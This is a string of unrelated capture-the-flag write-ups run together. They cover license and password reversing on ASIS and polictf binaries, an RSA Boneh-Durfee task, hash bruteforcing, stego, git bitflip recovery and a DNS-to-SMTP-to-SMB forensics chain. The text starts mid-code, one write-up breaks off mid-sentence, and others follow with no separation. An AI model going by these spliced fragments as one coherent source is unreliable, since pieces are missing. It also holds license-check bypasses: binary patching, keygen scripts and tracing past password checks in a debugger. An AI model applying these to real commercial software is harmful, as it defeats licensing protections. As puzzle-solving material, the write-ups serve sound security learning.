chr(10) content += linez[3] + chr(10) content += linez[4] assert(len(content) == filelen) f.write(content) f.close() return gen_license()``` Using it to generate a license and then run the program yields the following: ```bash$ ./gen_license.py [+] Problem satisfiable, generating license :)$ ./license program successfully registered to ASIS{8d2cc30143831881f94cb05dcf0b83e0}```
## She said it doesn't matter (misc/stego, 100p) ### PL Version[ENG](#eng-version) W zadaniu dostajemy obrazek [png](./m100.png) z zepsutym nagłówkiem. Rozpakowujemy zawartość pliku i za pomocą pozyskanych pikseli tworzymy obrazek, w którym ukryta jest flaga. Musimy ustawić dobre wymiary obrazka, które różnią sie od odczytanych z nagłówka. Po paru próbach odnajdujemy właściwe wartości. ```pythonfrom PIL import Imagewith open('zlibdec.bin','rb') as f: data=f.read()im = Image.frombytes('RGB',(891,550),data)im.show()```i w wyniku otrzymujemy: ![](./misc100.png)### ENG VersionWe get png picture with broken header checksum. With pixels extracted from file we make picture using them. We have to set good size of picture and mode, since data from broken header are misleading. After some trials we can easly find right values.```pythonfrom PIL import Imagewith open('zlibdec.bin','rb') as f: data=f.read()im = Image.frombytes('RGB',(891,550),data)im.show()```as a result we get: ![](./misc100.png)
## Reverse 300 (re, 300p) ### PL[ENG](#eng-version) Dostajemy [program](./r300.exe) (tym razem PE windowsowe), który pobiera od usera parę username:hasło. Mamy zdobyć hasło dla użytkownika "Administrator". Okazuje się dodatkowo że są zabezpieczenia przed bezpośrednim zapytaniem o hasło dla usera "Administrator". Program po kolei: - pyta o username - pyta o hasło - sprawdza czy w username występuje litera "A" - jeśli tak, to hasło nie będzie poprawnie generowane. - następnie sprawdza czy hasło ma odpowiednią długość (zależną od nicka - chyba zależność to długość_nicka - 1, ale nie sprawdzaliśmy). Jeśli nie, znowu, nie będzie błędu ale sprawdzenie wykona się niepoprawnie. - Następnie następuje sprawdzenie hasła: ```for (int i = 0; i < strlen(password) - 1; i++) { if (!cbc_password_check(dużo obliczeń matematycznych na i, password[i])) { return false; }}``` - poszliśmy na łatwiznę (a raczej, wybraliśmy optymalne rozwiązanie) - nie reversowaliśmy algorytmu, tylko śledziliśmy co robi funkcja cbc_password_check w każdej iteracji. Robiła ona dużo obliczeń na username, i na podstawie tego sprawdzała jaka powinna być kolejna litera hasła i wykonywała porównanie. Wystarczyło "prześledzić" raz przebieg tej funkcji, w debuggerze pominąć returny, i mieliśmy gotowe hasło. Z tego odczytaliśmy wymagane hasło dla administratora: `#y1y3#y1y3##` i zdobyliśmy flagę. ### ENG version We get a [binary](./r300.exe) (this time a windows PE), which takes user:password pair as input. We need a password for "Administrator" user. There are some additional protection against directly asking for password for "Administrator" user. The binary: - asks for username - asks for password - checks if there is letter "A" in the useraname - if so, the password will not be generated correctly. - then it checks is the password has a proper length (depending on the usernaem - something like username_length -1, but we didn't check). If no, again it will not show any errors byt password check will fail. - then there is the actual password check: ```for (int i = 0; i < strlen(password) - 1; i++) { if (!cbc_password_check(a lot of mathematical compuations over i, password[i])) { return false; }}``` - we took the easy path (or the optmimal solution) - we didn't try to reverse the algorithm, but we tracked what the cbc_password_check function was doing in each iteration. It was doing a lot fo computations on username and then it was using this to check what should be the next password letter and was doing the comparison. We only had to "track" this function once in a debugger, skip returns and we had the password. With this approach we got the password for Administrator: `#y1y3#y1y3##` and we got the flag.
This Challenge gives us an encrypted file (flag.enc) and a PEM file (pub.key) containing the public key. This is clearly a RSA Challenge. The first step is to extract the public key: `openssl rsa -in pub.key -pubin -text -noout` We obtain: ```n = 0x03a6160848fb1734cbd0fa22cef582e849223ac04510d51502556b6476d07397f03df155289c20112e87c6f35361d9eb622ca4a0e52d9cd87bf723526c826b88387d06abc4279e353f12ad8ec62ea73c47321a20b89644889a792a73152bc7014b80a693d2e58b123fa925c356b1eba037a4dcac8d8de809167a6fcc30c5c785 e = 0x0365962e8daba7ba92fc08768a5f73b3854f4c79969d5518a078a034437c4669bdb705be4d8b8babf4fda1a6e715269e87b28eecb0d4e02726a27fb8721863740720f583688e5567eb10729bb0d92b322d719949e40c57198d764f1c633e5e277da3d3281ece2ce2eb4df945be5afc3e78498ed0489b2459059664fe15c88a33``` One interesting thing is the public exponent is quite large, approximately modulus. I immediately refer to Wiener's attack. But after trying to implement this attack, I still cannot find the private exponent. ### What is the problem? After a while of confusion and reading other attacks on RSA, I started paying attention to the Challenge name and realized Bodu = Boneh and Durfee attack. The explanation is, Wiener’s attack is only applied when `d
## License 100 (re, 100p) ### PL[ENG](#eng-version) Dostajemy [program](./license) (elf), do analizy, i rozpoczynamy czytanie kodu. Program otwiera plik (domyślamy sie że z tytułową licencją), wykonuje serię operacji/sprawdzeń, i jeśli coś mu się nie podoba na którymś kroku, wypisuje błąd i skończy działanie. .text:00000000004009C7 mov edi, offset a_aBC_ ; "_a\nb\tc_" ... .text:00000000004009EE call _fopen Jak widać, nazwa pliku jest dość nietypowa. Nie jest to nic czego linux nie osiągnie, ale praca z plikiem o takiej nazwie jest dość nieprzyjemna. Z tego powodu plik nazwaliśmy "kot" i spatchowaliśmy binarkę z programem (tak że otwierał plik o nazwie "kot"). Pierwszy check - jeśli otworzenie pliku albo czytanie z niego się nie powiedzie, program kończy działanie. Drugi check - wykonywana jest skomplikowana operacja na długości pliku, która po chwili reversowania sprowadza się do: if (-45235*x*x*x*x + -1256*x*x*x + 14392*x*x + -59762*x - 1949670109068 + 44242*x*x*x*x*x == 0) { // ok } else { // koniec programu } Gdzie x to ilość bajtów w pliku licencji. W celu rozwiązania tego równania pytamy naszego niezastąpionego pomocnika, WolframAlpha. Rozwiązaniem jest x = 34. Następnie następuje długa pętla dzieląca plik wejściowy na linie i zliczająca znaki nowej linii, a później: if (linesInFile == 5) { // ok } else { // koniec programu } Jako że wszystkie linie mają taką samą długość (co można zaobserwować w kodzie), Można z tego łatwo wyliczyć że każda linia musi mieć 6 znaków (6 * 5 znaków w linii + 4 znaki '\n') Następnie następuje długie sprawdzenie, w pythonie wyglądałoby na przykład tak (word1, word2... to odpowiednio pierwsza, druga... linia z pliku) result = 'iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW' # stała zaszyta w programie w23 = '\x23\x23\x23\x23\x23\x23' level1 = result[0:n] level2 = result[n:2*n] level3 = result[2*n:3*n] level5 = result[3*n:4*n] level4 = xor(word3, level5) assert level1 == xor(word1, word2) assert level2 == xor(xor(word2, word4), w23) assert level3 == xor(word3, word4) assert level4 == xor(xor(word5, word4), w23) assert level5 == xor(level4, word3) Wszystkie operacje tutaj są odwracalne, więc po chwili mamy kod tworzący poprawny plik z licencją: level1 = result[0:n] level2 = result[n:2*n] level3 = result[2*n:3*n] level5 = result[3*n:4*n] w23 = '\x23\x23\x23\x23\x23\x23' word4 = result[4*n:5*n] word3 = xor(word4, level3) word2 = xor(xor(word4, w23), level2) word1 = xor(word2, level1) level4 = xor(word3, level5) word5 = xor(xor(word4, w23), level4) # check level1c = xor(word1, word2) level2c = xor(xor(word2, word4), w23) level3c = xor(word3, word4) level4c = xor(xor(word5, word4), w23) level5c = xor(level4c, word3) assert level1.encode('hex') == level1c.encode('hex') assert level2.encode('hex') == level2c.encode('hex') assert level3.encode('hex') == level3c.encode('hex') assert level4.encode('hex') == level4c.encode('hex') assert level5.encode('hex') == level5c.encode('hex') open('kot', 'wb').write('\n'.join([word1, word2, word3, word4, word5])) Uruchamiamy więc program z odpowiednią [licencją](kot), i... vagrant@precise64:~$ ./license program successfully registered to ASIS{8d2cc30143831881f94cb05dcf0b83e0} gotowe. ### ENG version We get a [program](./license) (elf) for analysis and we start to read the code. It opens a file (we expect this to be the "licence" from task title), executs a series of operations/checks and if something is wrong at one step it prints an error and exits. .text:00000000004009C7 mov edi, offset a_aBC_ ; "_a\nb\tc_" ... .text:00000000004009EE call _fopen As we can see the filename is not ordinary. While we could get this done on linux, we consider working with such file to be unpleasant. Therefore we named the file `kot` and we patched the binary (so it opens a file `kot`). First check - if opening the file or reading it fails, the program exits. Second check - a complex operation is performed on the file length, which after a while of reverse engineering turned out to be: if (-45235*x*x*x*x + -1256*x*x*x + 14392*x*x + -59762*x - 1949670109068 + 44242*x*x*x*x*x == 0) { // ok } else { // exit } Where x is number of bytes in the licence file.In order to solve this equation we use WolframAlpha and we get x = 34. Next there is a long loop which splits the input file into lines and counts newline characters and then: if (linesInFile == 5) { // ok } else { // exit } Every line has the same length (which can be observed in the code), we can deduce that every line needs 6 characters (6*5 characters in line + 4 newline characters = 34 bytes in file). Next there is a long check which in python would look like (word1, word2... is first, second.... line from file) result = 'iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW' # stała zaszyta w programie w23 = '\x23\x23\x23\x23\x23\x23' level1 = result[0:n] level2 = result[n:2*n] level3 = result[2*n:3*n] level5 = result[3*n:4*n] level4 = xor(word3, level5) assert level1 == xor(word1, word2) assert level2 == xor(xor(word2, word4), w23) assert level3 == xor(word3, word4) assert level4 == xor(xor(word5, word4), w23) assert level5 == xor(level4, word3) All operations are reversible so after a while we have code to generate correct licence file: level1 = result[0:n] level2 = result[n:2*n] level3 = result[2*n:3*n] level5 = result[3*n:4*n] w23 = '\x23\x23\x23\x23\x23\x23' word4 = result[4*n:5*n] word3 = xor(word4, level3) word2 = xor(xor(word4, w23), level2) word1 = xor(word2, level1) level4 = xor(word3, level5) word5 = xor(xor(word4, w23), level4) # check level1c = xor(word1, word2) level2c = xor(xor(word2, word4), w23) level3c = xor(word3, word4) level4c = xor(xor(word5, word4), w23) level5c = xor(level4c, word3) assert level1.encode('hex') == level1c.encode('hex') assert level2.encode('hex') == level2c.encode('hex') assert level3.encode('hex') == level3c.encode('hex') assert level4.encode('hex') == level4c.encode('hex') assert level5.encode('hex') == level5c.encode('hex') open('kot', 'wb').write('\n'.join([word1, word2, word3, word4, word5])) We run the binary with correct [licence](kot), and... vagrant@precise64:~$ ./license program successfully registered to ASIS{8d2cc30143831881f94cb05dcf0b83e0} Done.
## AsisHash 150 (re, 150p) ### PL[ENG](#eng-version) Dostajemy [program](./hash.elf) (elf). Analizujemy jego działanie, w dużym uproszczeniu wygląda to tak: int main() { char password[...]; scanf("%s", password); char *hash = hash_password(password); if (!strcmp(hash, good_hash)) { puts("Congratz, you got the flag :) "); } else { puts("Sorry! flag is not correct!"); } } Funkcja hash_password jest bardzo skomplikowana i nawet nie próbowaliśmy analizować jej działania. Zamiast tego zrobiliśmy coś prostszego - ponieważhash jest monotoniczny (dla dłuższych haseł/wyższych znaków ascii daje wyższe wyniki), spróbowaliśmy zgadnac hash (docelowy hash flagi jest stay i równy 27221558106229772521592198788202006619458470800161007384471764) za pomocą bruteforcowania z nawrotami wszystkich możliwych flag: import subprocess def run(flag): return subprocess.check_output(['./hash.elf', flag]).split('\n')[0] def prefx(a, b): p = 0 for ac, bc in zip(a, b): if ac == bc: p += 1 else: break return p def plaintext(t): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in t) sln = '27221558106229772521592198788202006619458470800161007384471764' charset = '0123456789abcdef}' def tryit(f, r, n): pp = prefx(sln, r) print plaintext(f), r[:pp], r[pp:] stat = '<' if sln[pp] < r[pp] else '>' print plaintext(f), r[:pp], r[pp:], stat for c in charset: f2 = f[:n] + c + f[n+1:] r2 = run(f2) p2 = prefx(sln, r2) if p2 > pp: s = tryit(f2, r2, n+1) if s == '>': return return stat for c in range(256): # try to guess good initial padding print c, '!!!!!!!!!!!' # debug info placeholder = chr(c) start = 'ASIS{' + placeholder * 33 start = 'ASIS{d5c808f5dc96567bda48' + placeholder * 13 # algorytm zacinał się czasami, więc ręcznie dawaliśmy mu dobre wartości początkowe przeniesione z poprzednich wykonań. start = 'ASIS{d5c808f5dc96567bda48be9ba82fc1d' + placeholder * 2 tryit(start, run(start), len(start.replace(placeholder, ''))) Po chwili czekania i tweakowania algorytmu, dostajemy flagę: ASIS{d5c808f5dc96567bda48be9ba82fc1d6} ### ENG version We get a [binary](./hash.elf) (elf). We analyse its behaviour and it is doing: int main() { char password[...]; scanf("%s", password); char *hash = hash_password(password); if (!strcmp(hash, good_hash)) { puts("Congratz, you got the flag :) "); } else { puts("Sorry! flag is not correct!"); } } The `hash_password` function is very complex and we didn't ever try to analyse it. Instead we did something simpler - since the hash is monotonous (for longer input/higher characters it gives higher results) we tried guessing correct flag (flag hash is known and equal to (27221558106229772521592198788202006619458470800161007384471764) using bruteforce with backtracing: import subprocess def run(flag): return subprocess.check_output(['./hash.elf', flag]).split('\n')[0] def prefx(a, b): p = 0 for ac, bc in zip(a, b): if ac == bc: p += 1 else: break return p def plaintext(t): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in t) sln = '27221558106229772521592198788202006619458470800161007384471764' charset = '0123456789abcdef}' def tryit(f, r, n): pp = prefx(sln, r) print plaintext(f), r[:pp], r[pp:] stat = '<' if sln[pp] < r[pp] else '>' print plaintext(f), r[:pp], r[pp:], stat for c in charset: f2 = f[:n] + c + f[n+1:] r2 = run(f2) p2 = prefx(sln, r2) if p2 > pp: s = tryit(f2, r2, n+1) if s == '>': return return stat for c in range(256): # try to guess good initial padding print c, '!!!!!!!!!!!' # debug info placeholder = chr(c) start = 'ASIS{' + placeholder * 33 start = 'ASIS{d5c808f5dc96567bda48' + placeholder * 13 # the algorithm sometimes was stuck so we were starting it again with already pre-computed prefixes start = 'ASIS{d5c808f5dc96567bda48be9ba82fc1d' + placeholder * 2 tryit(start, run(start), len(start.replace(placeholder, ''))) And after a short while and some optimizations to the algorithm we get the flag: ASIS{d5c808f5dc96567bda48be9ba82fc1d6}
## MeowMeow 75 (misc, 75p) ![alt text](screenshot.png) ### PL[ENG](#eng-version) Dostajemy [dziwny plik tekstowy](meowmeow) z różnymi wyrażeniami typu `((_____ << __) + _)` Jeśli ktoś robił cokolwiek w C to pewnie rozpozna syntax tego języka. `A << B` odpowiada przesunięciu `A` o `B` bitów w lewo, a `A + B` i `(...)` chyba nie muszę tłumaczyć :) Tak więc za dane podkreślenie podstawiamy jego długość i [wszystko uruchamiamy](solve.py). Dostajaemy długą liczbę `0xa7d30363063346262616338356133653036663535303863343836616531653138397b53495341L`, zamieniamy ją na text i dostajemy `}060c4bbac85a3e06f5508c486ae1e189{SISA` ### ENG version In this task, we're presented with a [weird-looking text file](meowmeow) with various expressions like `((_____ << __) + _)` If you've done almost anything in C then you should notice that this is a valid C code. `A << B` corresponds to left bitwise shift, I don't think I have to explain how `A + B` and `(...)` work :) So we swap each underline with it's length and try to run [the code](solve.py). We get this quite long hex number:`0xa7d30363063346262616338356133653036663535303863343836616531653138397b53495341L`, covert it to text and you get a reversed flag `}060c4bbac85a3e06f5508c486ae1e189{SISA`
I hope you like Java.Get the image. (Also download the image and the HTML source code)Get max Horizontal and Vertical values.Read pixel 0,0 -> MaxHor,MaxVer    - If the pixel is white, ignore it.    - If the pixel is the first encountered non-white pixel, record the RGB values as BASEred, BASEgreen, BASEblue.    - If pixel is non-white and post first-encounter, check if RGB equals BASE values. If yes, write it's X and Y value to list "1" otherwise add to list "2"Check which list is smaller.Get the first X and Y value from the smaller listGet the new image using the X and Y value.Repeat.
# polictf: reversemeplz ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| polictf | Reversemeplz | Reversing | 200 | **Description:**>*Last month I was trying to simplify an algorithm.. and I found how to mess up a source really really bad. And then this challenge is born. Maybe is really simple or maybe is so hard that all of you will give up. Good luck!* ---------- After extracting the file you see that it is a standard ELF file. So I load it up into IDA PRO. Looking at the main file it seems pretty straight forward. You can see it allocates some space on the stack and pushes a pointer to that space on the stack to the function _gets. Ok so what we type in is going to be on the stack. You can additionally see that it pushes that pointer into $esp so that the top of the stack points to a pointer of our buffer. OK, seems straight forward. You can test this functionality by running the program in gdb. Set a breakpoint on main (`0x08048390`, which you can get from IDA). Step through until the _gets then step over it. You'll have to type your flag into the prompt. Now let's go back and look at IDA again. It looks like we then push `$esi` into the `$esp` again, which doesn't change anything because it's already there. Then it calls a function. Directly after the function it executes `test eax,eax` which is usally a good sign it's testing if the function returned properly. This is confirmed by the fact that we jump if the function returns 0 over the part that seems to be generating our flag. Looking at the flag generating portion (starting at `0x080483C1`) you can see it is concatenating to generate the flag. However, it looks as if it's using what we entered, so you probably won't be able to pull the flag out of the program. We are going to have to figure out what the function call above does. OK, so let's take a peak at the function at `0x08048801`. The first part moves `0xF` values onto the stack using the 'rep movsd' instruction. We see that there is a loop. If you look at the bottom of the loop it loops `0xF` times (could this be the length of our key?). The first two portions of the loop compare your input string against `0x60` and `0x7A`. Which we can assume means it's checking that the values are lowercase. So our flag needs to be lower case. The third portion calls a function and that function looks very complicated. let's skip that for a moment. After we exit that loop, assuming we passed the tests, we enter a second loop at `0x8048880`. This loops `0xE` or 15 times. It loads a character from our key (strangly it goes to the second character in the string since eax was incremented to 1) and then loads the last byte of the previous character. In this case the first character from our key (remember ascii is only one byte). Then it subtracts that byte from our character value and compares it to the value of the first strange value it loaded into the stack earlier from memory. If we take a look at the values that were put on we see they are all very low hex numbers of very low negative signed numbers. Based off the fact that they are low, and we are comparing the difference between lowercase numbers, it looks like he's checking our key characters against the character before them, starting with the first one. Ok now we are getting somewhere. let's go back to gdb and see what that big complicated function in the first loop does. If you run through some test values for your flag and check at the end of first loop, you'll see that it appears to simply be rotating your flag values 13 to the right. excellent! while we are in gdb let's go ahead and look at those strange values on the stack. type in `x/15d 0xffffd330` any point after the values are loaded onto the stack and you get the numbers. At this point I felt like I probably had the information to solve. I wrote up a python script to iterate through all possible start letters and then calculate the second letter based off of their expected difference. If when doing an operation I escape the bounds of lowercase letters then I break out of the loop and check the next possible start letter. Once I found the proper sequence I rotate the letters back 13. ```python#!/usr/bin/pythonlist = [-1, 17,-11,3,-8,5,14,-3,1,6,-11,6,-8,-10];answer = [];answerconverted = [];next = 0;for x in range(0,25): answer = []; answer.append(x); next = x for y in list: next = next + y; if (next < 0 or next >25): break; answer.append(next); if len(answer) == 15: break;print answer;output = "";for x in answer: answerconverted.append((x-13)%26); output = output + chr(x+ord('a'));print answerconverted;print outputoutput = ""for x in answerconverted: output = output + chr(x+ord('a'));print output;```bam, I get onetwotheflagyo. Look like a flag to me so I give it a spin in the program and sure enough it works!
## sharpturn (forensics, 400p, 110 solves) > I think my SATA controller is dying.> > sharpturn.tar.xz-46753a684d909244e7d916cfb5271a95 ### PL Version`for ENG version scroll down` Dostajemy zip z czymś co może być tylko zawartością folderu `.git`. Wypakowywujemy więc sobie z niego dane (zrobiliśmy to za pomocą pythona, import zlib i zlib.decompress, ale po zastanowieniu w sumie wystarczyłby pewnie git checkout ;) ). Po chwili zauważamy że coś się nie zgadza - hash pliku sharp.cpp jest inny niż powinien. Patrzymy więc na rewizje po kolei - [rewizja pierwsza](sharp_v1_efda_efda) ma dobry hash. [Rewizja druga](sharp_v2_354e_8675)... już nie. Napisaliśmy więc [sprytny skrypt w pythonie](flipuj.py), flipujący losowe bity (domyślamy się że o to chodzi, skoro w treści zadania jest coś o umierającym kontrolerze SATA) i próbujący odkryć te które sie nie zgadzają. W ten sposób dochodzimy do [poprawnej wersji rewizji drugiej](sharp_v2_354e_354e). Niestety hash [rewizji trzeciej](sharp_v3_d961_7564) również się nie zgadza, ale poprawiamy i jego naszym bitflipperem i mamy [poprawną rewizję trzecią](sharp_v3_d961_7564). I to samo robimy przy czwartej - [plik ze złym hashem](sharp_v4_f8d0_8096) zamieniamy na [plik z dobrym hashem](sharp_v4_f8d0_f8d0). W tym momencie mamy wszystko czego potrzebujemy - faktoryzujemy sobie jeszcze liczbę jak wymaga program, i idziemy: Part1: Enter flag: flag Part2: Input 31337: 31337 Part3: Watch this: https://www.youtube.com/watch?v=PBwAxmrE194 ok Part4: C.R.E.A.M. Get da _____: money Part5: Input the two prime factors of the number 272031727027. 31357 8675311 flag{3b532e0a187006879d262141e16fa5f05f2e6752} (Warto zauważyć poczucie humoru autorów zadania, gdzie "enter flag" wymaga podania dosłownie "flag"). Flaga którą otrzymujemy jest przyjmowana przez system, więc jesteśmy kolejne 400 punktów do przodu. ### ENG Version We get a zip file with something that can only be the contents of `.git` directory. We extract the data (we did this with python, import zlib and zlib.decompress, but most likely we could have simply used git checkout ;) ). After a while we realise that something is wrong - hash of sharp.cpp file is incorrect. We check the sequence of revisions one by one - [first revision](sharp_v1_efda_efda) has a correct hash. [Second revision](sharp_v2_354e_8675)... does not. We wrote a [clever python script](flipuj.py) which flips random bits (we guess that this is the case, since the task decription mentions a broken SATA controller) and tries to figure out which are incorrect. This was we finally get to [correct version of second revision](sharp_v2_354e_354e). Unfortunately, hash of the [third revision](sharp_v3_d961_7564) is also incorrect, but we fix it with our bitflipper and we get a [correct third revision](sharp_v3_d961_7564). We do the same with fourth revision - [file with incorrect hash](sharp_v4_f8d0_8096) we turn into [file with correct hash](sharp_v4_f8d0_f8d0). Now we have almost everything we need - we also need to factor a given number, and we proceed: Part1: Enter flag: flag Part2: Input 31337: 31337 Part3: Watch this: https://www.youtube.com/watch?v=PBwAxmrE194 ok Part4: C.R.E.A.M. Get da _____: money Part5: Input the two prime factors of the number 272031727027. 31357 8675311 flag{3b532e0a187006879d262141e16fa5f05f2e6752} (Author's sense of humour is worth noting here - we were supposed to put "flag" string as an answer for a prompt "enter flag").The flag we get is accepted so we are 400 points up.
# Emotional Roller Coaster (Misc 350) ## Problem Are you a good listener? Expect us! _This time you're the target. :-)_ ## Solution Credit: [@emedvedev](https://github.com/emedvedev) It's a great forensics challenge and also a lot of fun. Although not particuarly hard, it's very creative and nicely layered. ![](emotions/hiro.gif?raw=true) Let's begin! ![](emotions/goodluck.gif?raw=true) #### 1. The query "A good listener" and "this time you're the target" in the description, along with the fact that nothing else is given, points us in the direction of traffic capture: somebody will probably try to attack your machine or send requests to it. ![](emotions/idea.gif?raw=true) DCTF has a VPN network for challenges, so it's safe to assume that this one will involve our VPN connection. Let's fire up Wireshark, capture all VPN traffic and see whatever it is we're the "target" of. ![](emotions/nerd.gif?raw=true) ![](wireshark1.png?raw=true) Here it is. We really are good listeners, aren't we? ![](emotions/donttellanyone.gif?raw=true) #### 2. The response The request is an MX (mail) query to a DNS server: it asks our machine to resolve `dctfu2126.1337.def`. Let's fire up a DNS server and actually resolve the query; DNSmasq does this job quite well and it's incredibly easy to set up. ![](emotions/dancing.gif?raw=true) ```$ dnsmasq --address=/dctfu2126.1337.def/10.20.8.95 --mx-host=dctfu2126.1337.def --mx-target=10.20.8.95``` That's it, now your machine is a DNS server. ![](emotions/cool.gif?raw=true) #### 3. The message Let's see what happens after we send the response: ![](wireshark2.png?raw=true) Logically enough, since we answered that our machine is a mail server, we're seeing an SMTP request to port 25 now. Let's fire up a catch-all SMTP server, and capture whatever the message is. ![](emotions/bringiton.gif?raw=true) I'm using `MockSMTP` on OS X (you have to start it with `sudo` to make it listen on port 25), but if you're running another OS, I bet you can find a lot of software if you just google "mock SMTP" or "catch-all SMTP". Here we go: ![](mocksmtp1.png?raw=true) "Almost there," they said. Don't trust the guys. ![](emotions/angry.gif?raw=true) #### 4. The attachment Attached to the e-mail is a packet capture file, [ftps.pcap](ftps.pcap). Let's fire up Wireshark again: ![](wireshark3.png?raw=true) Is it a bird? Is it a plane? It's an SMB session! ![](emotions/biggrin.gif?raw=true) We'll use Wireshark's convenient SMB object extraction to see what's in there: ![](wireshark4.png?raw=true) Now we have an archive, [emotions.zip](emotions.zip). Is the flag there? Well, not quite yet. ![](emotions/idontknow.gif?raw=true) #### 5. The emotions We have 96 amazing animated emoticons in the archive, which is a reward good enough by itself, of course, because emoticons are just like glitter: they're awesome and everybody loves them. I even took the liberty of sprinkling some across this whole write-up ![](emotions/blushing.gif?raw=true), as you might have noticed (or not—I was being very subtle). There's a `flag.gif` in the archive, so let's take a look: ![](emotions/flag.gif?raw=true) Aside from being awesome, the image is completely uneventful. Opening it in hex editor doesn't show much except it's an ordinary gif (duh ![](emotions/straightface.gif?raw=true)) with metadata `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`. This metadata bit looks interesting, so we'll take a look at other files, too. Let's use `exiftool` on some random emoticons: ```$ exiftool thumbsdown.gifExifTool Version Number : 10.00File Name : thumbsdown.gifDirectory : .File Size : 6.9 kBFile Modification Date/Time : 2015:10:03 03:11:14+06:00File Access Date/Time : 2015:10:04 15:27:04+06:00File Inode Change Date/Time : 2015:10:04 06:00:23+06:00File Permissions : rwxrwxrwxFile Type : GIFFile Type Extension : gifMIME Type : image/gifGIF Version : 89aImage Width : 28Image Height : 18Has Color Map : YesColor Resolution Depth : 6Bits Per Pixel : 6Background Color : 63Animation Iterations : InfiniteXMP Toolkit : Image::ExifTool 9.46Camera Model Name : zyy7mY2/Rx1LP5jYtGa3G2j8y9mM7w9i3eGf012vsdc3fcyqRr9w+8ZyGds4uMwAAFrame Count : 20Duration : 4.95 sImage Size : 28x18Megapixels : 0.000504``` Notice the "Camera Model Name" field: if you're reading this, chances are you know Base64 when you see it. ![](emotions/raisedeyebrow.gif?raw=true) #### 6. The flag Decode a few Base64 messages, and you'll see they all appear to be parts of some binary file. ![](emotions/thinking.gif?raw=true) Let's just concat all the emoticons into one big file and see what happens: ```$ exiftool *.gif | grep Camera | cut -c 35- > misc350.base$ cat misc350.base | base64 -D > misc350.bin``` ![](hex1.png?raw=true) We're definitely on the right track with this: notice the `PK..` (`50 4B 01 02`): it's a clear indicator of a ZIP archive. However, the order in which we concatenated Base64 strings (it's the filename by default) is clearly wrong beause the file is scrambled. Hmmm, what might be the correct sorting method? ![](emotions/silly.gif?raw=true) Let's take a look at our decoded `misc350.base`: one line clearly stands out. Meet Billy: ![](emotions/billy.gif?raw=true) Unlike all his emoticon friends with 65-byte Base64-encoded strings in their metadata, Billy only has 29 bytes (don't worry, Billy, size doesn't matter ![](emotions/heehee.gif?raw=true)), so this truncated string should be in the end of our file. Let's sort files and look for the sorting method where Billy comes last. ![](emotions/winking.gif?raw=true) After some trial-and-error the method turns out to be modification date: do `ls -tlr` and you'll see that `billy.gif` is the last one on the list. Now let's recreate the archive: ```$ exiftool `ls -tr` | grep Camera | cut -c 35- | base64 -D > misc350.zip``` And here's the flag, waiting patiently for you in `sol/flag`, wanting so desperately to be found: ```DCTF{e4045481e906132b24c173c5ee52cd1e}``` Congratulations! It was a great run. ![](emotions/alien.gif?raw=true)![](emotions/angel.gif?raw=true)![](emotions/angry.gif?raw=true)![](emotions/applause.gif?raw=true)![](emotions/april.gif?raw=true)![](emotions/atwitsend.gif?raw=true)![](emotions/battingeyelashes.gif?raw=true)![](emotions/bee.gif?raw=true)![](emotions/biggrin.gif?raw=true)![](emotions/bighug.gif?raw=true)![](emotions/billy.gif?raw=true)![](emotions/blushing.gif?raw=true)![](emotions/bringiton.gif?raw=true)![](emotions/brokenheart.gif?raw=true)![](emotions/bug.gif?raw=true)![](emotions/callme.gif?raw=true)![](emotions/chatterbox.gif?raw=true)![](emotions/chicken.gif?raw=true)![](emotions/clown.gif?raw=true)![](emotions/coffee.gif?raw=true)![](emotions/confused.gif?raw=true)![](emotions/cool.gif?raw=true)![](emotions/cow.gif?raw=true)![](emotions/cowboy.gif?raw=true)![](emotions/cry.gif?raw=true)![](emotions/dancing.gif?raw=true)![](emotions/daydreaming.gif?raw=true)![](emotions/devil.gif?raw=true)![](emotions/doh.gif?raw=true)![](emotions/donttellanyone.gif?raw=true)![](emotions/drooling.gif?raw=true)![](emotions/feelingbeatup.gif?raw=true)![](emotions/flag.gif?raw=true)![](emotions/frustrated.gif?raw=true)![](emotions/goodluck.gif?raw=true)![](emotions/happy.gif?raw=true)![](emotions/heehee.gif?raw=true)![](emotions/hiro.gif?raw=true)![](emotions/hurryup.gif?raw=true)![](emotions/hypnotized.gif?raw=true)![](emotions/idea.gif?raw=true)![](emotions/idontknow.gif?raw=true)![](emotions/kiss.gif?raw=true)![](emotions/laughing.gif?raw=true)![](emotions/liar.gif?raw=true)![](emotions/loser.gif?raw=true)![](emotions/lovestruck.gif?raw=true)![](emotions/moneyeyes.gif?raw=true)![](emotions/monkey.gif?raw=true)![](emotions/nailbiting.gif?raw=true)![](emotions/nerd.gif?raw=true)![](emotions/notlistening.gif?raw=true)![](emotions/nottalking.gif?raw=true)![](emotions/notworthy.gif?raw=true)![](emotions/noxxx.gif?raw=true)![](emotions/ohgoon.gif?raw=true)![](emotions/onthephone.gif?raw=true)![](emotions/party.gif?raw=true)![](emotions/peacesign.gif?raw=true)![](emotions/phbbbbt.gif?raw=true)![](emotions/pig.gif?raw=true)![](emotions/praying.gif?raw=true)![](emotions/pumpkin.gif?raw=true)![](emotions/puppydogeyes.gif?raw=true)![](emotions/raisedeyebrow.gif?raw=true)![](emotions/rockon.gif?raw=true)![](emotions/rollingeyes.gif?raw=true)![](emotions/rollingonthefloor.gif?raw=true)![](emotions/rose.gif?raw=true)![](emotions/sad.gif?raw=true)![](emotions/shameonyou.gif?raw=true)![](emotions/sick.gif?raw=true)![](emotions/sigh.gif?raw=true)![](emotions/silly.gif?raw=true)![](emotions/skull.gif?raw=true)![](emotions/sleepy.gif?raw=true)![](emotions/smug.gif?raw=true)![](emotions/star.gif?raw=true)![](emotions/straightface.gif?raw=true)![](emotions/surprise.gif?raw=true)![](emotions/talktothehand.gif?raw=true)![](emotions/thinking.gif?raw=true)![](emotions/thumbsdown.gif?raw=true)![](emotions/thumbsup.gif?raw=true)![](emotions/timeout.gif?raw=true)![](emotions/tongue.gif?raw=true)![](emotions/waiting.gif?raw=true)![](emotions/wasntme.gif?raw=true)![](emotions/wave.gif?raw=true)![](emotions/whew.gif?ra